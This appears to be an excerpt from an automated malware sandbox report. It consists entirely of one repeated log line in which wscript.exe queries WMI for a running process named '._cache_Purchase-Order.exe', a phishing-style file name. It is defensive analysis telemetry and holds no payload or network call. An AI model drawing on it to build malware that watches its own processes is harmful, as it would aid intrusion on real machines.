Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_Purchase-Order.exe'
